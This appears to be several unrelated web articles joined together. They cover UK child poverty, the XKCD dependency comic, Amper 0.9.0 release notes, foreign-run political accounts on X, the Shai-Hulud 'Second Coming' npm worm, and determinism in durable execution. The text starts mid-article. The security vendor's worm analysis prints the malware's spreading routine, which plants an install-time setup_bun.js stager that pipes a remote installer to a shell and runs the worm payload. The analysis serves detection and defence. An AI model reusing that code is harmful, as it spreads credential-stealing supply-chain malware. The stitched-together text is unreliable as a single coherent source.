“They want to do all the same things that their peers are doing… but the budget won’t allow that,” she said. After paying for essentials each month, she has no money left.
“Every single time I go out, I have to vigilantly and diligently make sure I’m not overspending. That’s a really anxiety-provoking situation to be in.”
A law graduate who lives in Hampshire, southeast England, Lia initially returned to work but says she would often be called mid-meeting by her childcare provider if one of her daughters, who has complex needs, dyspraxia and global developmental delay, was having a “tantrum or a meltdown.” She eventually had to quit her job.
“I go into survival mode,” she said. “I was in the (foster) care system growing up and I remember feeling so much struggle and angst like, ‘if I can just get through this, it’ll be ok.’ Yet still, that situation hasn’t changed; as much as I know I have a lot to offer and I try to be a good member of society, I still feel like no matter where I turn, there’s difficulty.”
And even for families earning well above the poverty line, the cost of housing and childcare, especially in London, can be so high that there is simply no money to spend on anything else. Around 70% of children living in poverty have at least one parent in work.
Childcare is more expensive in the UK than in most other wealthy countries – costing about 25% of a couple’s and about 60% of a single parent’s net household income, according to figures released by think tank The Institute for Fiscal Studies in 2022.
Jaffe, the mother who makes use of the Little Village baby bank, works full-time in client solutions and says she earns £45,000 ($59,000) a year to support herself and her three children – well above the UK’s average. Still, she says she is “struggling every month to make sure everything is paid, not able to save anything, not able to do things for my kids.”
After paying for essentials – rent, childcare, food and household bills – she is left with £192 (around $250) a month for emergencies and to save for the next month in case there’s an error in her next social security payment – something she says is a regular occurrence.
Although child poverty has always been present in the UK, the rate of it is rising – and much faster than in other wealthy countries. Between 2012 and 2021, it rose by almost 20%,
UNICEF
found. Now, in 2025, the UK’s child poverty rate is higher than that of any European Union country except Greece, according to the
Resolution Foundation
, a living standards think tank.
The organization estimates that
another 300,000 children
will fall into poverty by 2030 if nothing changes.
The current poverty rate reflects inequalities present elsewhere in society, too. Almost half of children in Black and Asian communities are living in poverty, compared with 24% of White children, while children living in single-parent families or in families where someone is disabled are also more likely to live in poverty, figures from campaign organization the
Child Poverty Action Group
show.
Part of this rise is down to the same economic conditions afflicting other parts of the Western world – sluggish growth, and employment no longer offering the same financial security, as well as stubborn inflation that disproportionately affects essential goods and, therefore, people on low incomes.
But academics and advocates say policy decisions have also played a part. Britain’s public services were slashed by the center-right Conservative-led coalition and subsequent Conservative government in power from 2010 to 2024.
And as part of its austerity program, which aimed to reduce public spending in the wake of the 2008 financial crisis, the Conservatives introduced three policies that “are very largely responsible for the increase in child poverty today,” said Jonathan Bradshaw, an emeritus professor of social policy at the University of York who also served as one of the academic advisers to the current government’s upcoming child poverty strategy.
These limited the amount of welfare people are eligible to claim – one is an overall cap on the benefits a household can receive, another limits housing benefits and the third is a two-child benefit cap, meaning that parents cannot claim anything for their third or subsequent children born after 2017.
Charities and academics say it is this two-child benefit cap in particular that is largely responsible for Britain’s rising rates of child poverty.
“Most of the increase in child poverty has occurred in large families,” Bradshaw told CNN.
All this demonstrates the “inadequacy of the benefits system,” says Peter Matejic, chief analyst at the Joseph Rowntree Foundation.
“If you tot up how much you need for food, energy, all these things, and look at how much (benefits are)… it’s below that level,” he told CNN.
When UN envoys Philip Alston and Olivier De Schutter visited the UK in 2018 and 2023, respectively, they both condemned the poverty they saw there, though De Schutter noted that the country conformed to a pattern of increasing inequality seen in other wealthy countries.
A spokesperson for the current Labour government, which has been in power since July last year, told CNN that “every child, no matter their background, deserves the best start in life.”
“We are investing £500 million in children’s development through the rollout of Best Start Family Hubs, extending free school meals and ensuring the poorest don’t go hungry in the holidays through a new £1 billion crisis support package.”
Addressing child poverty has been a stated priority for the center-left government and, at the same time, an issue that illuminates the fault lines within it.
Ever since Labour came to power, it has grappled with balancing the mandate for change on which it was elected, and its traditional inclination to invest in public services, with scant available funds and a manifesto pledge not to increase taxes on working people.
Its plans to reduce child poverty have thus far been stymied by this conundrum. More details of the government’s spending and tax plans are due to be unveiled Wednesday, in which Chancellor Rachel Reeves, the UK’s finance minister, is expected to address the two-child benefit cap, a policy the government has oscillated between keeping and scrapping for the past year.
But for parents already on the breadline, their household budgets have been stretched too thin, for too long.
“People have got no resilience left,” says Livingstone, remembering that when she first began her role as the head of Little Village “we were talking about the safety net having lots of holes in it.”
“I’m actually not sure that there is much of a safety net anymore,” she says.
XKCD 2347: Dependency
. Original caption: “Someday ImageMagick will finally break for good
and we’ll have a long period of scrambling as we try to reassemble civilization from the rubble.”
Except the random person in Nebraska has been replaced by AWS, Google Cloud, or whoever caused the
outage this week. And that kind of bothers me, because it misses the point entirely.
Cloud providers aren’t small indie companies
The original comic is a joke and expression of concern at the fact that lots of our modern
technology depends on small projects that largely are maintained by a single driven developer
writing code in their spare time. They are important, yet fragile. This is not comparable to the
outages we’ve seen this year.
To contrast, these four cloud providers are, for better or worse, important to the web as we know
it. But they’re not small. We should recognize that these are huge players, with revenues larger
than the
GDP
of many countries.
1
Cloudflare isn’t anywhere near as big as the other three, but
it still has a proportionally gigantic impact on the web due to how much data flows through them.
In addition to how important they are, they are all also among the largest and most valuable
companies in the world. It’s concerning how reliant we are on just this handful of players, and
when governments become more reliant on them
, that is a huge risk. It is however
the same, boring risk of influence and dependence it always is with large companies, rather than a
risk of single individuals disappearing and taking our technology with them.
Support your guy in Nebraska
There are many people who are effectively a one-man show supporting most of modern technology in
their spare time without compensation, and those deserve our support as a society, or at the very
least recognition. I’ve tried to highlight a few here.
The comic waves at ImageMagick, which was created by
John Cristy
while working at DuPont. This
is really the only fact I can find about it. Every article delving into the history of ImageMagick
mentions this and nothing else. I don’t know much about John Cristy, so I can’t comment on him.
However, ImageMagick is currently maintained by
Dirk Lemstra
, who lives in the Netherlands.
He does appear to do this all in his spare time.
Finnish developer
Lasse Collin
is the main force behind the
XZ compression library
.
Unfortunately, he is more famous for the social engineering attack on him than he is for his work.
Regardless, XZ is an essential piece of software for many ecosystems that require high compression
rate regardless of CPU cost. It has been the Arch Linux package compression algorithm of choice
for years until it was replaced with
zstd
.
cURL
developer and AI slop victim
Daniel Stenberg
has surprisingly beaten the odds and
made a career out of maintaining his open source project, but that doesn’t make him less
admirable. Did I recommend his blog enough yet? He lives in Stockholm, Sweden.
The late
Bram Moolenaar
is known for two things: the
VIM
text editor, and his support for
orphaned children in Uganda. The latter of the two has long been the first message you see when
opening the former. He lived in Lisse, the Netherlands, and the editor he created continued to be
one of the most important tool on the belt of system administrators everywhere.
This is not meant to be an exhaustive list, though if I’ve overlooked someone significant (perhaps
actually in Nebraska?) then don’t take that as me disregarding their contributions. There are many
more, but the very nature of who they are prevents listing them all. I might update this list for a
while, so do get in touch.
2
What next?
Relevant XKCD comics are nothing new to the field. When I was still in university I was
educated
3
by my friends on the ones that apply most often. I have since become part of the
problem and have been making references to it with others. In a way it’s a rite of passage for a
certain kind of geek. So here I am trying to educate the next generation on what things mean.
On the bright side: some people on Reddit
do appear to “get it”
and point out the sheer
ridiculousness of implying the cloud providers are tiny unassuming parts. Others have instead taken
the joke
and ran with it, off of a cliff
, to the point where it no longer makes sense. By
the time I finish writing this, it’s probably already old and not funny any more. Nature is healing,
I suppose.
Amper Update, November 2025 – Extensibility Preview
Amper Update, November 2025 – Extensibility Preview
Amper 0.9.0
is out, and it brings the first version of our extensibility prototype! Read on for all of the details, and see
the release notes
for the full list of changes and bug fixes.
We revamped our documentation and turned it into a brand new website! You no longer have to read Markdown files on GitHub. We hope you’ll enjoy the new structure, as well as the navigation and search functionality.
It’s finally here: our first preview of Amper’s extensibility!
Our philosophy is to give a “batteries included” experience to our users, and this is why we want Amper to cover the most common use cases out of the box. However, a lot of projects have special needs, and the built-in behavior falls short eventually. To address this, Amper now offers the option to write custom tasks and expose them to your modules via plugins.
Note:
Only local plugins are supported at the moment, but we will soon add the ability to publish and share plugins.
In Amper 0.9.0, you can create modules with the new
jvm/amper-plugin
product type. These modules contain the Kotlin code implementing your custom tasks, and a
plugin.yaml
file to register your tasks and their inputs and outputs.
Why do you need to use both Kotlin and YAML? As usual with Amper, tooling is paramount. Thanks to this approach, you will get nice diagnostics in case you make mistakes with your task wiring. Don’t worry, though, navigating between YAML and Kotlin is already seamless with the current basic IDE support.
Task dependencies are automatically inferred based on inputs and outputs, and task avoidance is already available by default. Inputs can be simple scalar values or files, or even your module’s compile or runtime classpath – thanks to the built-in
Classpath
type. Outputs can be regular files, but they can also be registered as generated sources or resources so the rest of the build takes them into account.
The dependency resolution phase was previously a performance bottleneck, especially during IDE import and sync.
Even though all downloaded files are locally cached and reused, building the dependency graph itself takes time, as Amper needs to read all the local
pom.xml
and Gradle metadata files. Amper now caches the dependency graph itself and reuses it when your dependencies haven’t changed, which can sometimes save tens of seconds on hot caches!
There is certainly more we can do here, and we’ll continue improving dependency resolution performance, so stay tuned!
Incremental compilation for Java
Amper has had task avoidance since day one, which means that it skips the whole compilation task of a module if its sources and dependencies haven’t changed. However, this doesn’t help if you have a large module with lots of sources, because any change in any file will cause the recompilation of the whole module.
This is where incremental compilation comes in. In Amper 0.9.0, you can use our incremental Java compilation engine, which recompiles only what’s necessary based on the exact changes in the module sources. Any change in your sources will still cause the compilation task to run, but now the task itself will be faster.
To enable this feature, simply add the following to your
module.yaml
file:
settings:
java:
compileIncrementally: true
Maven-like layout support
Amper’s default directory layout is simple and concise, and we love it. That said, we do understand that transitioning from Maven or Gradle is quite tedious and error-prone if it involves moving all files around. This is particularly painful if you want to try out Amper in a separate long-lived Git branch and get updates from your main branch.
As of Amper 0.9.0, you can choose to keep your sources and resources in the conventional Maven directory layout, so you don’t have to move your existing files immediately:
To do so, add
layout: maven-like
to your
module.yaml
file. If you intend to do this for all your modules, use a template to handle this in a central place.
Note:
The maven-like layout is only available for the “jvm/app” and “jvm/lib” product types.
Library catalog at the project root
Amper now supports placing your Gradle-style version catalog (
libs.versions.toml
) in the project root instead of in the
gradle
folder. Of course, you are free to keep using
gradle/libs.versions.toml
if you want to keep compatibility with your Gradle layout.
In the IDE, using intention actions to extract dependencies to a new catalog will now create the catalog in the project root.
Note:
You can only use a single library catalog for your project, so you have to pick one of the locations.
IDE improvements
Auto-sync of the project configuration
Changes to your Amper configuration files are now automatically taken into account, which means you no longer need to manually click the
Sync
button!
This was made possible by the improvements in dependency resolution caching we’ve seen above.
If syncing involves downloading new dependencies or other lengthy processes, you’ll see a progress indicator in the status bar; otherwise, the sync should be seamless.
Note:
This behavior can be configured for the current project in “Settings | Build, Execution, Deployment | Build Tools”. If you want to change the default for future new projects, you can do so in “Settings | Advanced Settings | Build Tools. Amper”.
Sync details
The
Build
tool window now provides more insights into the stages of the sync process, and shows errors and warnings arising from them.
IDE assistance for setting the main class
You can configure the entrypoint of a
jvm/app
module using
settings.jvm.mainClass
. Finding the fully-qualified name of your main class is never fun, though. This is why IntelliJ IDEA now provides completion for it directly in your YAML file!
The completion list includes all class names that have a valid main function. By default, only classes present in the module itself are shown, but you can also invoke completion a second time to get results from your dependencies too:
That’s not all. IntelliJ IDEA also provides assistance with navigation and resolution, and it will even warn you about the infamous missing
Kt
suffix when referring to the class Kotlin generates for top-level main functions.
Improved quick-fix for overridden catalog versions
Amper warns you when your module doesn’t get the requested version of a dependency because of dependency conflicts. However, when this happens with a library catalog dependency, it isn’t obvious what the fix should be, as it depends on your intent.
To address this issue, IntelliJ IDEA now offers two different quick-fixes: one to replace the catalog reference with an explicit version in the problematic module, and one to update the version in the catalog itself. Use
Alt+Enter
or click the
More actions…
option in the warning tooltip to access these fixes:
Dedicated color theme settings
You can now customize the colors in your Amper YAML files.
Head over to
File | Settings | Editor | Color Scheme | Amper
and get creative!
Updated default versions
We updated some of our default versions for toolchains and frameworks:
Kotlin 2.2.21
Compose Hot Reload 1.0.0-rc01
KSP 2.3.0
JUnit Platform 6.0.1
Also, the default value for
settings.jvm.release
is now 21.
Try Amper 0.9.0
To update an existing project, use the
./amper update
command.
To get started with Amper, check out our
Getting started
guide. Take a look at some examples, follow a tutorial, or read the comprehensive user guide depending on your learning style.
Share your feedback
Amper is still experimental and under active development. You can provide feedback about your experience by joining the discussion in the
Kotlinlang Slack’s #amper channel
or sharing your suggestions and ideas in a
YouTrack issue
. Your input and use cases help shape the future of Amper!
X Just Accidentally Exposed a Covert Influence Network Targeting Americans
A new feature on X has revealed that a huge number of large, divisive political accounts claiming to be Trump supporters are actually operating out of foreign countries. The discovery — likely the most sweeping public exposure of covert foreign activity on a major platform since the revelations about Russia in 2016 — raises serious concerns about covert foreign influence in U.S. political discourse, mirroring the Russian disinformation campaign in which operatives from Russia’s Internet Research Agency posed as U.S. persons to interfere in the election.
The
new feature
on X allows users to see the approximate place where an account was created and is primarily operating from, rather than having to rely solely on an account operator’s self-reported location. The move was made to boost transparency and enhance the authenticity of discussions on the platform, but it immediately became apparent that the new feature would have an additional effect: exposing foreign accounts that are posing as Americans.
On Saturday, X users
found scores of pro-Trump and MAGA accounts
that were trying to pass as Americans but were operated from countries in Europe, Asia, Africa, and elsewhere. X acknowledges that some of the operating locations may actually be the location of a VPN service rather than the location of the account owner, but the sheer number of accounts operating from outside of the United States makes it clear that not all of these are simply proxy locations. Furthermore, some of these accounts had listed their locations as being within the U.S., and some were operating with usernames such as (@)American despite being operated from overseas. As X Product Chief Nikita Bier
explained
, if an account claims to be from a U.S. location but the data shows it’s based overseas, that discrepancy is a red flag suggesting the account “might have another agenda.”
A few examples of large MAGA accounts posing as Americans while operating from a foreign country.
While
location-based discrepancies
were found among all types of accounts, the most noticeable and largest group of accounts revealed to be operating from overseas were those reporting to be Trump fans, many of whom described themselves as “Patriots” who champion “America First” politics. For instance, a prominent account called “MAGA NATION” (with 392,000+ followers) turned out to be posting from Eastern Europe, not America. Other examples include “Dark MAGA” (15,000 followers, based in Thailand), “MAGA Scope” (51,000 followers, based in Nigeria), and an “America First” account (67,000 followers) run from Bangladesh. Other large political, crypto, and even
public health
influencer accounts claiming U.S. roots — many of which are also MAGA-aligned — are similarly being outed with locations traced to countries like India, Nigeria, and elsewhere. In each case, an account that gave every impression of being an American political participant — complaining about gas prices or vaccine mandates, cheering or mocking candidates, reacting to debates, and posting memes about things like the border or inflation — was run by someone who isn’t even in America.
Thanks to a new X feature, we now know that this pro-Trump account called “American” is not, in fact, American.
The exposure of foreign-run political accounts on X immediately calls to mind covert influence operations of the past – most notably, Russia’s meddling in the 2016 U.S. election. In 2016, Russia’s Internet Research Agency (IRA) infamously created countless fake social media personas impersonating Americans to sow discord and denigrate Hillary Clinton/boost Trump’s candidacy.
According to
the Mueller investigation’s conclusions and U.S. intelligence findings, these operatives “posed as U.S. persons…operated social media pages and groups designed to attract U.S. audiences…[and] falsely claimed to be controlled by U.S. activists when, in fact, they were controlled by [foreign actors].” Their strategy included using stolen identities and pretending to be grassroots American voices, all to infiltrate online communities and influence political opinion. By mid-2016 the IRA’s campaign explicitly focused on boosting Trump and disparaging Hillary Clinton, under orders from the Kremlin.
The pattern now emerging on X suggests history may be repeating itself, albeit likely with new actors and technologies. Or perhaps even more likely, these types of tactics never actually stopped in the first place. Covert foreign influence via social media remained a live threat in the run-up to the 2024 presidential election. In fact, investigative reporting by CNN in 2024
uncovered
a campaign on X aimed at bolstering Trump’s candidacy – a network of at least 60 fake pro-Trump accounts using profile photos stolen from real women in Europe. These fake personas, posing as enthusiastic American Trump supporters, told U.S. voters to “vote for Trump in 2024” while the actual women depicted (from countries like Denmark, the Netherlands, and even Russia) had no idea their images were being misused.
The discovery — likely the most sweeping public exposure of covert foreign activity on a major platform since the revelations about Russia in 2016 — raises serious concerns about covert foreign influence in U.S. political discourse.
The geographic spread of the exposed accounts hints at a variety of possible culprits and motives. Some accounts originate in countries historically linked to disinformation targeting the U.S. (e.g. Russia or Eastern European locales) while others come from places like Nigeria, India, Thailand, or Kenya with no obvious state sponsor. This suggests we could be seeing multiple layers of foreign influence: both state-sponsored influence operations (Russia and others) trying to sway U.S. politics, as well as a cottage industry of opportunists and trolls for hire globally who exploit U.S. political tribalism for clout or profit. In 2016, for example, not only did Russian agents interfere, but so did independent foreign scammers – notably the notorious “Macedonian fake news farms” where teenagers churned out pro-Trump disinformation simply because it drew huge web traffic and ad revenue. Today’s foreign MAGA accounts could likewise be profit-driven grifters – people pretending to be patriotic Americans while actually just racking up followers and perhaps soliciting donations or earning X’s ad-share payouts from viral content.
The discovery that a significant number of political accounts – especially in the pro-Trump/MAGA sphere – are operated from abroad carries far-reaching implications. It validates warnings that covert foreign influence on social media did not end with 2016, but is an ongoing challenge to U.S. democracy and societal cohesion. The immediate impact is a jolt of awareness: both the public and policymakers can now see concrete examples of how outsiders try to shape American political conversations from afar. This awareness, thanks to X’s transparency feature, is a double-edged sword. On the one hand, it empowers users and authorities to identify and possibly neutralize foreign propaganda by calling it out and removing its mask of authenticity. On the other hand, it injects a new layer of skepticism and accusation into political discourse – people may reflexively dismiss opposing views as “just foreign bots,” and genuine activists might find themselves under suspicion if their location isn’t easily verified.
Thanks for reading Weaponized! This post is public so feel free to share it.
Moving forward, we’ll likely see a re-examination of how much credence we give to social media as a barometer of public opinion. Lawmakers, campaigners, and journalists will need to vet online trends more carefully (e.g. check if a trending political hashtag is heavily driven by accounts from overseas). The platform implications for X are significant as well: X must decide whether it will actively clamp down on these foreign-run accounts or simply inform users and leave the content up. Its reputation as a platform for healthy political dialogue is on the line; too much manipulation could drive users to alternatives or invite regulatory backlash.
As for the rest of us, the implications are similar to those following the 2016 Russian campaign: we’re still under attack and likely have been this whole time.
I’ll return with a more detailed analysis of these revelations soon, so stay tuned.
Discussion about this post
SHA1-Hulud the Second Comming – Postman, Zapier, PostHog All Compromised via NPM
It's another Monday morning, sitting down at the computer. And I see a stack of alerts from the last hour of packages showing signs of malware in our triage queue. Having not yet finished my first cup of coffee, I see Shai Hulud indicators. Yikes, surely that's a false positive? Nope, welcome to Monday, Shai Hulud struck again. Strap in.
Timeline of the Shai-Hulud Campaign
The timing is notable, given npm’s recent announcement that it will revoke classic tokens on December 9 after the wave of supply-chain attacks. With many users still not migrated to trusted publishing, the attacker seized the moment for one more hit before npm’s deadline.
August 27 - We release our report detailing the
S1ngularity campaign
targeting several nx packages on npm.
September 18 - We publish a
follow-up analysis
, diving deeper into the campaign’s technical quirks and early payload behavior.
November 24 - A second strike occurs, dubbed the “Second Coming” by the attackers, timed just before npm’s deadline for revoking old tokens.
What is Shai-Hulud?: A Quick Refresher
Shai-Hulud, named after the gigantic sandworms from Dune as part of the attacker's flair for theatrics, is a self-replicating npm worm built to spread quickly through compromised developer environments. Once it infects a system, it searches for exposed secrets such as API keys and tokens using TruffleHog and publishes anything it finds to a
public GitHub repository
. It then attempts to push new copies of itself to npm, helping it propagate across the ecosystem, while exfiltrating data back to the attacker. Keeping with the dramatic theme, the attacker refers to this latest wave as the “Second Coming.”
Differences from last time
This time around, there are some significant differences in the attack:
It install bun with the file
setup_bun.js
and then uses that to execute
bun_environment.js
which is the actual malicious code.
It creates a randomly named repository with stolen data, rather than a hardcoded name.
It will infect up to 100 npm packages, compared to 20 last time.
If it can't authenticate with GitHub or NPM, it will wipe all files in the users Home directory.
Which packages are affected?
We've detected the following packages compromised with a new version of Shai Hulud. Between all these 492 packages, they have a total of 132 million monthly downloads:
This time, the malware also publishes secrets to GitHub, with a random name and the repository description:
"Sha1-Hulud: The Second Coming."
Currently we see 26.3k repositories exposed:
Mistakes made again
As we've been analzying all these packages, we've noticed a number of compromised packages that appear to be from community spread, which contain the initial staging code in
setup_bun.js
, but NOT
bun_environment.js
which is the Shai Hulud worm itself. Here's the code that spreads the worm into other packages:
async ["bundleAssets"](_0x349b3d) {
let _0x2bd41c = a0_0x459ea5.join(_0x349b3d, 'package', "setup_bun.js");
await iL0(_0x2bd41c, "#!/usr/bin/env node\nconst { spawn, execSync } = require('child_process');\nconst path = require('path');\nconst fs = require('fs');\nconst os = require('os');\n\nfunction isBunOnPath() {\n try {\n const command = process.platform === 'win32' ? 'where bun' : 'which bun';\n execSync(command, { stdio: 'ignore' });\n return true;\n } catch {\n return false;\n }\n}\n\nfunction reloadPath() {\n // Reload PATH environment variable\n if (process.platform === 'win32') {\n try {\n // On Windows, get updated PATH from registry\n const result = execSync('powershell -c \"[Environment]::GetEnvironmentVariable(\\'PATH\\', \\'User\\') + \\';\\' + [Environment]::GetEnvironmentVariable(\\'PATH\\', \\'Machine\\')\"', {\n encoding: 'utf8'\n });\n process.env.PATH = result.trim();\n } catch {\n }\n } else {\n try {\n // On Unix systems, source common shell profile files\n const homeDir = os.homedir();\n const profileFiles = [\n path.join(homeDir, '.bashrc'),\n path.join(homeDir, '.bash_profile'),\n path.join(homeDir, '.profile'),\n path.join(homeDir, '.zshrc')\n ];\n\n // Try to source profile files to get updated PATH\n for (const profileFile of profileFiles) {\n if (fs.existsSync(profileFile)) {\n try {\n const result = execSync(`bash -c \"source ${profileFile} && echo $PATH\"`, {\n encoding: 'utf8',\n stdio: ['pipe', 'pipe', 'ignore']\n });\n if (result && result.trim()) {\n process.env.PATH = result.trim();\n break;\n }\n } catch {\n // Continue to next profile file\n }\n }\n }\n\n // Also check if ~/.bun/bin exists and add it to PATH if not already there\n const bunBinDir = path.join(homeDir, '.bun', 'bin');\n if (fs.existsSync(bunBinDir) && !process.env.PATH.includes(bunBinDir)) {\n process.env.PATH = `${bunBinDir}:${process.env.PATH}`;\n }\n } catch {}\n }\n}\n\nasync function downloadAndSetupBun() {\n try {\n let command;\n if (process.platform === 'win32') {\n // Windows: Use PowerShell script\n command = 'powershell -c \"irm bun.sh/install.ps1|iex\"';\n } else {\n // Linux/macOS: Use curl + bash script\n command = 'curl -fsSL https://bun.sh/install | bash';\n }\n\n execSync(command, {\n stdio: 'ignore',\n env: { ...process.env }\n });\n\n // Reload PATH to pick up newly installed bun\n reloadPath();\n\n // Find bun executable after installation\n const bunPath = findBunExecutable();\n if (!bunPath) {\n throw new Error('Bun installation completed but executable not found');\n }\n\n return bunPath;\n } catch {\n process.exit(0);\n }\n}\n\nfunction findBunExecutable() {\n // Common locations where bun might be installed\n const possiblePaths = [];\n\n if (process.platform === 'win32') {\n // Windows locations\n const userProfile = process.env.USERPROFILE || '';\n possiblePaths.push(\n path.join(userProfile, '.bun', 'bin', 'bun.exe'),\n path.join(userProfile, 'AppData', 'Local', 'bun', 'bun.exe')\n );\n } else {\n // Unix locations\n const homeDir = os.homedir();\n possiblePaths.push(\n path.join(homeDir, '.bun', 'bin', 'bun'),\n '/usr/local/bin/bun',\n '/opt/bun/bin/bun'\n );\n }\n\n // Check if bun is now available on PATH\n if (isBunOnPath()) {\n return 'bun';\n }\n\n // Check common installation paths\n for (const bunPath of possiblePaths) {\n if (fs.existsSync(bunPath)) {\n return bunPath;\n }\n }\n\n return null;\n}\n\nfunction runExecutable(execPath, args = [], opts = {}) {\n const child = spawn(execPath, args, {\n stdio: 'ignore',\n cwd: opts.cwd || process.cwd(),\n env: Object.assign({}, process.env, opts.env || {})\n });\n\n child.on('error', (err) => {\n process.exit(0);\n });\n\n child.on('exit', (code, signal) => {\n if (signal) {\n process.exit(0);\n } else {\n process.exit(code === null ? 1 : code);\n }\n });\n}\n\n// Main execution\nasync function main() {\n let bunExecutable;\n\n if (isBunOnPath()) {\n // Use bun from PATH\n bunExecutable = 'bun';\n } else {\n // Check if we have a locally downloaded bun\n const localBunDir = path.join(__dirname, 'bun-dist');\n const possiblePaths = [\n path.join(localBunDir, 'bun', 'bun'),\n path.join(localBunDir, 'bun', 'bun.exe'),\n path.join(localBunDir, 'bun.exe'),\n path.join(localBunDir, 'bun')\n ];\n\n const existingBun = possiblePaths.find(p => fs.existsSync(p));\n\n if (existingBun) {\n bunExecutable = existingBun;\n } else {\n // Download and setup bun\n bunExecutable = await downloadAndSetupBun();\n }\n }\n\n const environmentScript = path.join(__dirname, 'bun_environment.js');\n if (fs.existsSync(environmentScript)) {\n runExecutable(bunExecutable, [environmentScript]);\n } else {\n process.exit(0);\n }\n}\n\nmain().catch((error) => {\n process.exit(0);\n});\n");
let _0x3ed61a = process.argv[0x1];
if (_0x3ed61a && (await My1(_0x3ed61a))) {
let _0x1028dd = await mL0(_0x3ed61a);
if (_0x1028dd !== null) {
let _0x4cc8b3 = a0_0x459ea5.join(_0x349b3d, "package", "bun_environment.js");
await iL0(_0x4cc8b3, _0x1028dd);
}
}
}
We see that the
bun_environment.js
may sometimes not be bundled, depending on different factors. It appears that mistakes were once again made by the attackers. This appears to have limited the imapct of the attack at this time.
Compromised GitHub repositories
The AsyncAPI team detected that there had been a branch of their CLI project, which was created just prior to the malicious packages being pushed, which deployed a version of the Shai Hulud malware.
We detected the first packages starting at 11/24/2025 3:16:26 AM GMT+0, which were the packages go-template, and 36 packages from
AsyncAPI
. Many more packages were quickly compromised. Afterwards, they started compromising PostHog packages at 11/24/2025 4:11:55 AM GMT+0, and Postman packages at 11/24/2025 5:09:25 AM GMT+0.
Potential impact of Shai-Hulud: Second Coming
Threat actors have slipped malicious code into hundreds of NPM packages — including major ones from
Zapier, ENS, AsyncAPI, PostHog, Browserbase, and Postman
. If a developer installs one of these bad packages, the malware quietly runs
during installation
, before anything even finishes installing. This gives it access to the developer’s machine, build systems, or cloud environment. It then uses an automated tool (TruffleHog) to search for sensitive information like passwords, API keys, cloud tokens, and GitHub or NPM credentials. Anything it finds is uploaded to a public GitHub repository labeled
“Sha1-Hulud: The Second Coming.”
If those stolen secrets include access to code repositories or package registries, attackers can use them to break into more accounts and publish more malicious packages, helping the attack spread further. Because trusted ecosystems were involved and millions of downloads are affected, any team using NPM should immediately check whether they were impacted and rotate any credentials that may have leaked.
Which actions should security teams take?
Audit all Zapier/ENS-related npm dependencies and versions.
Rotate
all
GitHub, npm, cloud, and CI/CD secrets used during installs.
Check GitHub for strange repos with the description “Sha1-Hulud: The Second Coming”
Disable npm
postinstall
scripts in CI where possible.
Pin package versions and enforce MFA on GitHub and npm accounts.
Use tools like
Safe-Chain
to block malicious packages on NPM
Determinism is a key concept to understand when writing code using durable execution frameworks such as Temporal, Restate, DBOS, and Resonate. If you read the docs you see that some parts of your code must be deterministic while other parts do not have to be. This can be confusing to a developer new to these frameworks.
This post explains why determinism is important and where it is needed and where it is not. Hopefully, you’ll have a better mental model that makes things less confusing.
We can break down this discussion into:
Recovery through re-execution.
Separation of control flow from side effects.
Determinism in control flow
Idempotency and duplication tolerance in side effects
This post uses the term “control flow” and “side effect”, but there is no agreed upon set of terms across the frameworks. Temporal uses “workflow” and “activity” respectively. Restate uses the terms such as “handler”, “action” and “durable step”. Each framework uses different vocabulary and have varying architectures behind them. There isn’t a single overarching concept that covers everything, but the one outlined in this post provides a simple way to think about
determinism requirements
in a framework agnostic way.
1) Recovery through re-execution
Durable execution takes a function that performs some side effects, such as writing to a database, making an API call, sending an email etc, and makes it reliable via
recovery
(which in turn depends on durability).
For example, a function with three side effects:
Step 1, make a db call.
Step 2, make an API call.
Step 3, send an email.
If step 2 fails (despite in situ retries) then we might leave the system in an inconsistent state (the db call was made but not the API call).
In durable execution,
recovery
consists of executing the function again from the top, and using the results of previously run side effects if they exist. For example, we don’t just execute the db call again, we reuse the result from the first function execution and skip that step. This becomes equivalent to jumping to the first unexecuted step and resuming from there.
First we retrieve a customer record, then we check if we’re inside of the promo end date, if so, charge the card with a 10% discount, else charge the full amount. Finally send a receipt email. This introduces a bug that we’ll cover in the next section.
In the first execution, the current time is within the promo date, so the
then-branch
is executed, charging the card with the discount. However, on the second invocation, the current time is after the promo end date, causing the
else-branch
to execute, double charging the customer.
This is fixed by making the now() deterministic by turning it into a durable step whose result is recorded. Then the second time it is executed, it returns the same datetime (it becomes deterministic). The various SDKs provide deterministic dates, random numbers and UUIDs out of the box.
In this variant, the decision is made based on the loyalty points the customer currently has. Do you see the problem?
If the send email side effect fails, then the function is retried. However, the points value of the order was deducted from the customer in the last execution, so that in execution 2, the customer no longer has enough loyalty points! Therefore the
else-branch
is executed, charging their credit card! Another double payment bug.
We must remember that the durable function is not an atomic transaction. It could be considered a transaction which has guarantees around making progress, but not one atomic change across systems.
We can fix this new double charge bug by ensuring that the same customer record is returned on each execution. We can do that by treating the customer record retrieval as a durable step whose result will be recorded.
Re-execution of the control flow requires determinism: it must execute based on the same decision state every single time and it must also pass the same arguments to side effect code every single time. However, side effects themselves do not need to be deterministic, they only require idempotency or duplication tolerance.
4) Side effect idempotency and duplication tolerance
Durable execution re-executes the control flow as many times as is needed for the function to make progress to completion. However, it typically avoids executing the same side effects again if they were previously completed. The result of each side effect is durably stored by the framework and a replay only needs the stored result.
Therefore side effects do not need to be deterministic, and often that is undesirable anyway. A db query that retrieves the current number of orders or the current address of a customer may return a different result every time. That’s a good thing, because the number of orders might change, and an address might change. If the control flow depends on the number of orders, or the current address, then we must ensure that the control flow is always returned the same answer. This is achieved by storing the result of the first execution, and using that result for every replay (making the control flow deterministic).
Now to the idempotency. What if a side effect does complete, but a failure of some kind causes the result to not be stored by the framework? Well, the durable execution framework will replay the function, see no stored result and execute the side effect again. For this reason we want side effects to either be idempotent or otherwise tolerate running more than once. For example, we might decide that sending the same email again is ok. The cost of reliable idempotency might not be worth it. On the other hand, a credit card payment most definitely should be idempotent.
Implicit vs explicit control flow / side effect separation
Some frameworks make the separation of control flow from side effects explicit, namely, Temporal. In the Temporal programming model, the workflow definition is the control flow and each activity is a side effect (or some sort of non-deterministic operation).
Other frameworks such as Resonate and Restate are based on functions which can call other functions which can result in a tree of function calls. Each function in this tree has a portion of control flow and side effects (either executed locally or via a call to another function).
The same need for determinism in the control flow is needed in each of these functions. This is guaranteed by ensuring the same inputs, and the replacement of non-deterministic operations (such as date/times, random numbers, ids, retrieved objects) with deterministic ones.
Conclusions
Our mental model is built on separating a durable function into the control flow and the side effects. Some frameworks actually explicitly separate the two (like Temporal) while others are more focused on composable functions.
